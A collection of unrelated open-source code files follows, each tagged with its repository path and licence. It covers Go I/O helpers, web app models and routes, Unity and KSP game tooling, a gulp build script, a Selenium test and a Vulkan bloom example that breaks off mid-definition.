func NewReadCloser(r io.Reader, c CloseFunc) io.ReadCloser
```
NewReadCloser wraps r with CloseFunc c.
#### func SeekerPosition
```go
func SeekerPosition(r io.Seeker) (int64, error)
```
SekerPosition returns the current offset of an io.Seeker
#### func TeeReadCloser
```go
func TeeReadCloser(r io.ReadCloser, w io.Writer) io.ReadCloser
```
TeeReadCloser returns a ReadCloser that writes everything read from it to w. Its
content is read from r. All writes must return before anything can be read. Any
write error will be returned from Read. The Close method on the returned
ReadCloser is called derived from r.
#### type CloseFunc
```go
type CloseFunc func() error
```
CloseFunc documents a function that satisfies io.Closer.
#### type ReadCounter
```go
type ReadCounter interface {
io.Reader
BytesRead() int64
}
```
ReadCounter is a reader that keeps track of the total number of bytes read.
#### func NewReadCounter
```go
func NewReadCounter(r io.Reader) ReadCounter
```
NewReadCounter wraps a Reader in a ReadCounter.
#### type ReadSeekerAt
```go
type ReadSeekerAt interface {
io.ReadSeeker
io.ReaderAt
}
```
ReadSeekerAt is the interface that groups io.ReadSeeker and io.ReaderAt.
#### type ReadSeekerCloser
```go
type ReadSeekerCloser interface {
io.Reader
io.Seeker
io.Closer
}
```
ReadSeekerCloser wraps the io.Reader, io.Seeker, and io.Closer types.
#### func NewReadSeekerCloser
```go
func NewReadSeekerCloser(r io.ReadSeeker, c CloseFunc) ReadSeekerCloser
```
NewReadSeekerCloser wraps r with the close function c.
#### func NewSeekBufferCloser
```go
func NewSeekBufferCloser(r io.ReadCloser, l int64) ReadSeekerCloser
```
NewSeekBufferCloser creates a new SeekBuffer using ReadCloser r. l is the
initial capacity of the internal buffer. The close method from r is forwarded to
the returned ReadSeekerCloser.
#### func NopReadSeekerCloser
```go
func NopReadSeekerCloser(r io.ReadSeeker) ReadSeekerCloser
```
NopReadSeekerCloser wraps r with a no-op close function.
#### type SeekBuffer
```go
type SeekBuffer struct {
}
```
SeekBuffer contains a reader where all data read from it is buffered, and thus
both readable and seekable. It essentially augments bytes.Reader so that all
data does not need to be read at once.
#### func NewSeekBuffer
```go
func NewSeekBuffer(r io.Reader, l int64) *SeekBuffer
```
NewSeekBuffer creates a new SeekBuffer using reader r. l is the initial capacity
of the internal buffer. If r happens to be a ReadSeeker already, r is used
directly without any additional copies of the data.
#### func (*SeekBuffer) Read
```go
func (s *SeekBuffer) Read(b []byte) (int, error)
```
Read reads from the internal buffer or source reader until b is filled or an
error occurs.
#### func (*SeekBuffer) ReadAt
```go
func (s *SeekBuffer) ReadAt(b []byte, off int64) (int, error)
```
ReadAt implements io.ReaderAt for SeekBuffer.
#### func (*SeekBuffer) Seek
```go
func (s *SeekBuffer) Seek(offset int64, whence int) (int64, error)
```
Seek implements io.Seeker for SeekBuffer. If the new offset goes beyond what is
buffered, SeekBuffer will read from the source reader until offset can be
reached or an error is returned. If whence is 2, SeekBuffer will read until EOF
or an error is reached.
#### type WriteCounter
```go
type WriteCounter interface {
io.Writer
BytesWritten() int64
}
```
WriteCounter is a writer that keeps track of the total number of bytes written.
#### func NewWriteCounter
```go
func NewWriteCounter(w io.Writer) WriteCounter
```
NewWriteCounter wraps a Writer in a WriteCounter
| shipwire/swutil | swio/readme.md | Markdown | mit | 4,492 |
from rest_framework import serializers
from django.contrib.auth.models import User
from dixit.account.models import UserProfile
class UserProfileSerializer(serializers.ModelSerializer):
class Meta:
model = UserProfile
fields = ('name', )
class UserSerializer(serializers.ModelSerializer):
"""
Serializes User objects
"""
profile = UserProfileSerializer()
class Meta:
model = User
fields = ('id', 'username', 'email', 'profile', )
| jminuscula/dixit-online | server/src/dixit/api/auth/serializers/user.py | Python | mit | 494 |
# == Schema Information
#
# Table name: tecnicos
#
# id :integer not null, primary key
# phone_number :string
# health_post_id :integer
# created_at :datetime not null
# updated_at :datetime not null
# name :string
#
class Tecnico < ActiveRecord::Base
include SendsMessages
belongs_to :health_post
has_many :messages
validates_uniqueness_of :phone_number
end
| CUPeru/CUPeru | app/models/tecnico.rb | Ruby | mit | 432 |
using System;
using System.Collections.Generic;
namespace Paladino.Drawing
{
/// <summary>
/// The thumbnails class handles all thumbnails to different types of content
/// embedded in the core.
/// </summary>
public static class Thumbnails
{
#region Members
private static Dictionary<Guid, string> guidToThumb = null;
private static Dictionary<string, string> typeToThumb = null;
private static Dictionary<string, Guid> typeToGuid = null;
private static object mutex = new object();
#endregion
/// <summary>
/// Gets whether the current thumbnail collection contains a
/// thumbnail for the given mime-type.
/// </summary>
/// <param name="type">The mime-type</param>
/// <returns>Whether the key exists</returns>
public static bool ContainsKey(string type)
{
Ensure();
return typeToThumb.ContainsKey(type);
}
/// <summary>
/// Gets whether the current thumbnail collection contains a
/// thumbnail for the given thumbnail id.
/// </summary>
/// <param name="id">The id</param>
/// <returns>Whether the key exists</returns>
public static bool ContainsKey(Guid id)
{
Ensure();
return guidToThumb.ContainsKey(id);
}
/// <summary>
/// Gets the resource path for the thumbnail with the given id.
/// </summary>
/// <param name="id">The id</param>
/// <returns>The resource path</returns>
public static string GetById(Guid id)
{
Ensure();
return guidToThumb[id];
}
/// <summary>
/// Gets the resource path fo the thumbnail with the given mime-type.
/// </summary>
/// <param name="type">The mime-type</param>
/// <returns>The resource path</returns>
public static string GetByType(string type)
{
Ensure();
if (!String.IsNullOrEmpty(type))
return typeToThumb[type];
return typeToThumb["default"];
}
/// <summary>
/// Gets the internal thumbnail id for the given mime-type.
/// </summary>
/// <param name="type">The mime-type</param>
/// <returns>The thumbnail id</returns>
public static Guid GetIdByType(string type)
{
Ensure();
if (!String.IsNullOrEmpty(type))
{
if (ContainsKey(type))
return typeToGuid[type];
}
return Guid.Empty;
}
#region Private methods
/// <summary>
/// Ensures that the thumbnail collection is created.
/// </summary>
private static void Ensure()
{
if (guidToThumb == null)
{
lock (mutex)
{
if (guidToThumb == null)
{
guidToThumb = new Dictionary<Guid, string>();
typeToThumb = new Dictionary<string, string>();
typeToGuid = new Dictionary<string, Guid>();
// Pdf
Add(new Guid("6DC9DF6B-3378-4576-90B5-2E801C6484EA"), "application/pdf", "Piranha.Areas.Manager.Content.Img.ico-pdf-64.png");
// Excel
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/vnd.ms-excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/msexcel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-msexcel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-ms-excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-dos_ms_excel", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/xls", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/x-xls", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
Add(new Guid("A37627AD-5973-4FDF-BA15-857B2640D16C"), "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "Piranha.Areas.Manager.Content.Img.ico-excel-64.png");
// Mp3
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mpeg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpeg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mp3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mp3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mpeg3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpeg3", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mpg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-mpegaudio", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Wma
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/x-ms-wma", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Flac
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/flac", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Ogg
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/ogg", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// M4a
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mp4a-latm", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
Add(new Guid("6356E47D-8926-456E-9A2D-B62CA7251FA9"), "audio/mp4", "Piranha.Areas.Manager.Content.Img.ico-sound-64.png");
// Avi
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/avi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/msvideo", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/x-msvideo", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "image/avi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/xmpg2", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "application/x-troff-msvideo", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/aiff", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/avi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
// Mpeg
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/mpeg", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/mp4", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
// Mov
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/quicktime", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "video/x-quicktime", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "image/mov", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/x-midi", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "audio/x-wav", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
// Ppt
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/vnd.ms-powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/mspowerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/ms-powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/mspowerpnt", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/vnd-mspowerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/x-powerpoint", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
Add(new Guid("264D7937-6B78-43D5-A6C9-44D142406DB1"), "application/x-m", "Piranha.Areas.Manager.Content.Img.ico-ppt-64.png");
// Zip
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/zip", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-zip", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-zip-compressed", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/octet-stream", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-compress", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "application/x-compressed", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
Add(new Guid("58A1653A-FF16-4D60-865C-156B76A9E038"), "multipart/x-zip", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
// Rar
Add(new Guid("F63BBF1C-93F5-4B90-9337-232EBBB65908"), "application/x-rar-compressed", "Piranha.Areas.Manager.Content.Img.ico-zip-64.png");
// Folder
Add(new Guid("D604308B-BDFC-42FA-AAAA-7D0E9FE8DE5A"), "folder", "Piranha.Areas.Manager.Content.Img.ico-folder-96.png");
Add(new Guid("D604308B-BDFC-42FA-AAAA-7D0E9FE8DE5A"), "folder-small", "Piranha.Areas.Manager.Content.Img.ico-folder-32.png");
// Reference
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "youtube.com", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(new Guid("DBAD9093-1672-41EE-A5F7-F0433DF109A5"), "vimeo.com", "Piranha.Areas.Manager.Content.Img.ico-movie-64.png");
Add(Guid.Empty, "reference", "Piranha.Areas.Manager.Content.Img.ico-doc-64.png");
// Default
Add(Guid.Empty, "default", "Piranha.Areas.Manager.Content.Img.ico-doc-64.png");
}
}
}
}
/// <summary>
/// Adds a thumbnail resource with the given id and mime-type.
/// </summary>
/// <param name="id">The thumbnail id</param>
/// <param name="type">The mime-type</param>
/// <param name="thumbnail">The resource path</param>
private static void Add(Guid id, string type, string thumbnail)
{
if (!guidToThumb.ContainsKey(id))
guidToThumb.Add(id, thumbnail);
if (!typeToThumb.ContainsKey(type))
typeToThumb.Add(type, thumbnail);
if (!typeToGuid.ContainsKey(type))
typeToGuid.Add(type, id);
}
#endregion
}
} | cnascimento/Paladino | Paladino/Drawing/Thumbnails.cs | C# | mit | 13,732 |
using System.Linq;
using UnityEditor;
using UnityEditor.Animations;
using UnityEngine;
namespace Framework.Editor
{
[CustomActionEditor(typeof(ActionAnimParam))]
public class ActionGraphEditorAnimParamNode : ActionGraphEditorNode
{
public ActionAnimParam Node => (ActionAnimParam) ActionNode;
public ActionGraphEditorAnimParamNode(ActionGraph graph, ActionGraphNode node, ActionGraphPresenter presenter)
: base(graph, node, presenter)
{
}
private void SetNewParam(AnimatorControllerParameter param)
{
Undo.RecordObject(Node, "Changed anim param");
Node.AnimParam.Name = param.name;
switch (param.type)
{
case AnimatorControllerParameterType.Trigger:
Node.AnimParam = new Variant
(
new SerializedType(typeof(bool), ActionAnimParam.TriggerMetadata)
);
break;
case AnimatorControllerParameterType.Bool:
Node.AnimParam = new Variant
(
typeof(bool)
);
Node.AnimParam.SetAs(param.defaultBool);
break;
case AnimatorControllerParameterType.Float:
Node.AnimParam = new Variant
(
typeof(float)
);
Node.AnimParam.SetAs(param.defaultFloat);
break;
case AnimatorControllerParameterType.Int:
Node.AnimParam = new Variant
(
typeof(int)
);
Node.AnimParam.SetAs(param.defaultInt);
break;
}
Node.AnimParam.Name = param.name;
}
protected override void DrawContent()
{
if (Node.Anim)
{
GUI.Box(drawRect, GUIContent.none, EditorStyles.helpBox);
var controller = AssetDatabase.LoadAssetAtPath<AnimatorController>(AssetDatabase.GetAssetPath(Node.Anim));
if (controller == null)
{
Debug.LogErrorFormat("AnimatorController must not be null.");
return;
}
int index = -1;
var paramList = controller.parameters.ToList();
var param = paramList.FirstOrDefault(p => p.name == Node.AnimParam.Name);
if (param != null)
{
index = paramList.IndexOf(param);
}
drawRect.x += ContentMargin;
drawRect.width = drawRect.width - ContentMargin * 2;
drawRect.height = VariantUtils.FieldHeight;
int newIndex = EditorGUI.Popup(drawRect, index, paramList.Select(p => p.name).ToArray());
if (newIndex != index)
{
SetNewParam(paramList[newIndex]);
}
if (string.IsNullOrWhiteSpace(Node.AnimParam?.HoldType?.Metadata))
{
drawRect.y += drawRect.height;
VariantUtils.DrawParameter(drawRect, Node.AnimParam, false);
}
}
else
{
EditorGUI.HelpBox(drawRect, "AnimController is required!", MessageType.Error);
}
}
}
} | MrJaqbq/Unity3DFramework | Editor/ActionGraph/ActionGraphEditorAnimParamNode.cs | C# | mit | 3,547 |
/**
* @author Vexatos
*/
@MethodsReturnNonnullByDefault
@ParametersAreNonnullByDefault
package vexatos.backpacks.backpack;
import mcp.MethodsReturnNonnullByDefault;
import javax.annotation.ParametersAreNonnullByDefault;
| Vexatos/ForecastersBackpacks | src/main/java/vexatos/backpacks/backpack/package-info.java | Java | mit | 225 |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head profile="http://selenium-ide.openqa.org/profiles/test-case">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="selenium.base" href="" />
<title>Text comment permalinks</title>
</head>
<body>
<table cellpadding="1" cellspacing="1" border="1">
<thead>
<tr><td rowspan="1" colspan="3">Text comment permalinks</td></tr>
</thead><tbody>
<tr>
<td>setTimeout</td>
<td>60000</td>
<td></td>
</tr>
<tr>
<td>open</td>
<td>/logout</td>
<td></td>
</tr>
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=127</td>
<td></td>
</tr>
<tr>
<td>waitForTextPresent</td>
<td>Ninth comment</td>
<td></td>
</tr>
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=130</td>
<td></td>
</tr>
<tr>
<td>waitForPageToLoad</td>
<td>60000</td>
<td></td>
</tr>
<tr>
<td>waitForTextPresent</td>
<td>Twelfth comment</td>
<td></td>
</tr>
<!-- tab comment -->
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=108</td>
<td></td>
</tr>
<tr>
<td>verifyTextPresent</td>
<td>Sorry, the page you have requested does not exist.</td>
<td></td>
</tr>
<!-- image comment -->
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=109</td>
<td></td>
</tr>
<tr>
<td>verifyTextPresent</td>
<td>Sorry, the page you have requested does not exist.</td>
<td></td>
</tr>
<!-- not existed comment -->
<tr>
<td>open</td>
<td>/pages/32?text_comment_id=25200000</td>
<td></td>
</tr>
<tr>
<td>verifyTextPresent</td>
<td>Sorry, the page you have requested does not exist.</td>
<td></td>
</tr>
</tbody></table>
</body>
</html>
| IsaacLewis/eol | spec/selenium/comment/text_comment_permalinks.html | HTML | mit | 1,748 |
//This code is taken from InflightShipSave by Claw, using the CC-BY-NC-SA license.
//See https://github.com/ClawKSP/InflightShipSave
//Actually I found this code from Kerbal_Construction_Time as well. All bundled in this utility class. Thanks guys ;)
using UnityEngine;
namespace FlightEdit.FlightEdit
{
public class InflightSave
{
public static string TemporarySaveVessel(Vessel VesselToSave)
{
string ShipName = VesselToSave.vesselName;
ShipConstruct ConstructToSave = new ShipConstruct(ShipName, "", VesselToSave.parts[0]);
Quaternion OriginalRotation = VesselToSave.vesselTransform.rotation;
Vector3 OriginalPosition = VesselToSave.vesselTransform.position;
VesselToSave.SetRotation(new Quaternion(0, 0, 0, 1));
Vector3 ShipSize = ShipConstruction.CalculateCraftSize(ConstructToSave);
VesselToSave.SetPosition(new Vector3(0, ShipSize.y + 2, 0));
ConfigNode CN = new ConfigNode("ShipConstruct");
CN = ConstructToSave.SaveShip();
VesselToSave.SetRotation(OriginalRotation);
VesselToSave.SetPosition(OriginalPosition);
string filename = UrlDir.ApplicationRootPath + "GameData/FlightEdit/temp.craft";
CN.Save(filename);
return filename;
}
}
} | thomas15v/FlightEdit | FlightEdit/InflightSave.cs | C# | mit | 1,360 |
import React from 'react';
import Helmet from 'react-helmet';
import { Route } from '../../core/router';
import { Model as Waste } from '../../entities/Waste';
import { Deferred } from '../../util/utils';
import NavLink from '../../components/NavLink';
import Progress from 'react-progress-2';
import { PageHeader, Row, Col, Panel, Label } from 'react-bootstrap';
import radio from 'backbone.radio';
const router = radio.channel('router');
export default class WasteShowRoute extends Route {
breadcrumb({ params }) {
const dfd = new Deferred;
const waste = new Waste({ fid: params.wfid });
waste.forSubjectParam(params.fid);
waste.fetch({ success: m => dfd.resolve(m.get('title')) });
return dfd.promise;
}
fetch({ params }) {
this.companyFid = params.fid;
this.waste = new Waste({ fid: params.wfid });
this.waste.forSubjectParam(params.fid).expandParam('subtype');
return this.waste.fetch();
}
render() {
const waste = this.waste.toJSON();
return (
<div>
<Helmet title={waste.title} />
<PageHeader>{waste.title}</PageHeader>
<Row>
<Col md={12}>
<ul className="nav menu-nav-pills">
<li>
<NavLink
to={`/companies/${this.companyFid}/waste/${waste.fid}/edit`}
>
<i className="fa fa-pencil-square-o" /> Редактировать
</NavLink>
</li>
<li>
<a
href="javascript:;"
onClick={() => {
Progress.show();
this.waste.destroy({
success: () => {
Progress.hide();
router.request('navigate', `companies/${this.companyFid}`);
},
});
}}
>
<i className="fa fa-ban" aria-hidden="true" /> Удалить
</a>
</li>
</ul>
</Col>
</Row>
<Row>
<Col md={12}>
<Panel>
<h4><Label>Название</Label>{' '}
{waste.title}
</h4>
<h4><Label>Вид отходов</Label>{' '}
<NavLink to={`/waste-types/${waste.subtype.fid}`}>{waste.subtype.title}</NavLink>
</h4>
<h4><Label>Количество</Label>{' '}
{waste.amount} т
</h4>
</Panel>
</Col>
</Row>
</div>
);
}
}
| ryrudnev/dss-wm | app/routes/waste/ShowRoute.js | JavaScript | mit | 2,612 |
//
// JMColor.h
// JMChartView
//
// Created by chengjiaming on 15/3/26.
// Copyright (c) 2015年 chengjiaming. All rights reserved.
//
#import <UIKit/UIKit.h>
/**
* 主色系
*/
#define JMBlue [UIColor colorWithRed:38 / 255.0 green:173 / 255.0 blue:223 / 255.0 alpha:1]
/**
* 背景色
*/
#define JMCloudWhite [UIColor colorWithRed:38 / 255.0 green:173 / 255.0 blue:223 / 255.0 alpha:1]
//范围
struct Range {
CGFloat max;
CGFloat min;
};
typedef struct Range JMRange;
CG_INLINE JMRange JMRangeMake(CGFloat max, CGFloat min);
CG_INLINE JMRange
JMRangeMake(CGFloat max, CGFloat min){
JMRange p;
p.max = max;
p.min = min;
return p;
}
static const JMRange JMRangeZero = {0,0};
@interface JMColor : NSObject
@end
| chengjiaming/JMChartView | JMChartView/JMColor.h | C | mit | 752 |
var basePaths = {
src: 'public/',
dest: 'public.dist/',
bower: 'bower_components/'
};
var paths = {
images: {
src: basePaths.src + 'images/',
dest: basePaths.dest + 'images/min/'
},
scripts: {
src: basePaths.src + 'scripts/',
dest: basePaths.dest + 'scripts/min/'
},
styles: {
src: basePaths.src + 'styles/',
dest: basePaths.dest + 'styles/min/'
},
sprite: {
src: basePaths.src + 'sprite/*'
}
};
var appFiles = {
styles: paths.styles.src + '**/*.scss',
scripts: [paths.scripts.src + 'scripts.js']
};
var vendorFiles = {
styles: '',
scripts: ''
};
var spriteConfig = {
imgName: 'sprite.png',
cssName: '_sprite.scss',
imgPath: paths.images.dest.replace('public', '') + 'sprite.png'
};
// let the magic begin
var gulp = require('gulp');
var es = require('event-stream');
var gutil = require('gulp-util');
var autoprefixer = require('gulp-autoprefixer');
var plugins = require("gulp-load-plugins")({
pattern: ['gulp-*', 'gulp.*'],
replaceString: /\bgulp[\-.]/
});
// allows gulp --dev to be run for a more verbose output
var isProduction = true;
var sassStyle = 'compressed';
var sourceMap = false;
if (gutil.env.dev === true) {
sassStyle = 'expanded';
sourceMap = true;
isProduction = false;
}
var changeEvent = function(evt) {
gutil.log('File', gutil.colors.cyan(evt.path.replace(new RegExp('/.*(?=/' + basePaths.src + ')/'), '')), 'was', gutil.colors.magenta(evt.type));
};
gulp.task('css', function() {
var sassFiles = gulp.src(appFiles.styles)
/*
.pipe(plugins.rubySass({
style: sassStyle, sourcemap: sourceMap, precision: 2
}))
*/
.pipe(plugins.sass())
.on('error', function(err) {
new gutil.PluginError('CSS', err, {showStack: true});
});
return es.concat(gulp.src(vendorFiles.styles), sassFiles)
.pipe(plugins.concat('style.min.css'))
.pipe(autoprefixer('last 2 version', 'safari 5', 'ie 8', 'ie 9', 'opera 12.1', 'ios 6', 'android 4', 'Firefox >= 4'))
/*
.pipe(isProduction ? plugins.combineMediaQueries({
log: true
}) : gutil.noop())
*/
.pipe(isProduction ? plugins.cssmin() : gutil.noop())
.pipe(plugins.size())
.pipe(gulp.dest(paths.styles.dest))
;
});
gulp.task('scripts', function() {
gulp.src(vendorFiles.scripts.concat(appFiles.scripts))
.pipe(plugins.concat('app.js'))
.pipe(isProduction ? plugins.uglify() : gutil.noop())
.pipe(plugins.size())
.pipe(gulp.dest(paths.scripts.dest))
;
});
// sprite generator
gulp.task('sprite', function() {
var spriteData = gulp.src(paths.sprite.src).pipe(plugins.spritesmith({
imgName: spriteConfig.imgName,
cssName: spriteConfig.cssName,
imgPath: spriteConfig.imgPath,
cssOpts: {
functions: false
},
cssVarMap: function (sprite) {
sprite.name = 'sprite-' + sprite.name;
}
}));
spriteData.img.pipe(gulp.dest(paths.images.dest));
spriteData.css.pipe(gulp.dest(paths.styles.src));
});
gulp.task('watch', ['sprite', 'css', 'scripts'], function() {
gulp.watch(appFiles.styles, ['css']).on('change', function(evt) {
changeEvent(evt);
});
gulp.watch(paths.scripts.src + '*.js', ['scripts']).on('change', function(evt) {
changeEvent(evt);
});
gulp.watch(paths.sprite.src, ['sprite']).on('change', function(evt) {
changeEvent(evt);
});
});
gulp.task('default', ['css', 'scripts']); | marcolino/escrape2 | .old/gulpfile-advanced.js | JavaScript | mit | 3,371 |
---
title: ajz21
type: products
image: /img/Screen Shot 2017-05-09 at 11.56.54 AM.png
heading: z21
description: lksadjf lkasdjf lksajdf lksdaj flksadj flksa fdj
main:
heading: Foo Bar BAz
description: |-
***This is i a thing***kjh hjk kj
# Blah Blah
## Blah
### Baah
image1:
alt: kkkk
---
| pblack/kaldi-hugo-cms-template | site/content/pages2/ajz21.md | Markdown | mit | 339 |
/*
* Vulkan Example - Implements a separable two-pass fullscreen blur (also known as bloom)
*
* Copyright (C) 2016 by Sascha Willems - www.saschawillems.de
*
* This code is licensed under the MIT license (MIT) (http://opensource.org/licenses/MIT)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <vector>
#define GLM_FORCE_RADIANS
#define GLM_FORCE_DEPTH_ZERO_TO_ONE
#include <glm/glm.hpp>
#include <glm/gtc/matrix_transform.hpp>
#include <vulkan/vulkan.h>
#include "vulkanexamplebase.h"
#define VERTEX_BUFFER_BIND_ID 0
#define ENABLE_VALIDATION false
// Offscreen frame buffer properties
#define FB_DIM 256
#define FB_COLOR_FORMAT VK_FORMAT_R8G8B8A8_UNORM
// Vertex layout for this example
std::vector<vkMeshLoader::VertexLayout> vertexLayout =
{
vkMeshLoader::VERTEX_LAYOUT_POSITION,
vkMeshLoader::VERTEX_LAYOUT_UV,
vkMeshLoader::VERTEX_LAYOUT_COLOR,
vkMeshLoader::VERTEX_LAYOUT_NORMAL
};
class VulkanExample : public VulkanExampleBase
{
public:
bool bloom = true;
struct {
vkTools::VulkanTexture cubemap;
} textures;
struct {
vkMeshLoader::MeshBuffer ufo;
vkMeshLoader::MeshBuffer ufoGlow;
vkMeshLoader::MeshBuffer skyBox;
vkMeshLoader::MeshBuffer quad;
} meshes;
struct {
VkPipelineVertexInputStateCreateInfo inputState;
std::vector<VkVertexInputBindingDescription> bindingDescriptions;
std::vector<VkVertexInputAttributeDescription> attributeDescriptions;
} vertices;
struct {
vkTools::UniformData vsScene;
vkTools::UniformData vsFullScreen;
vkTools::UniformData vsSkyBox;
vkTools::UniformData fsVertBlur;
vkTools::UniformData fsHorzBlur;
} uniformData;
struct UBO {
glm::mat4 projection;
glm::mat4 model;
};
struct UBOBlur {
float blurScale = 1.0f;
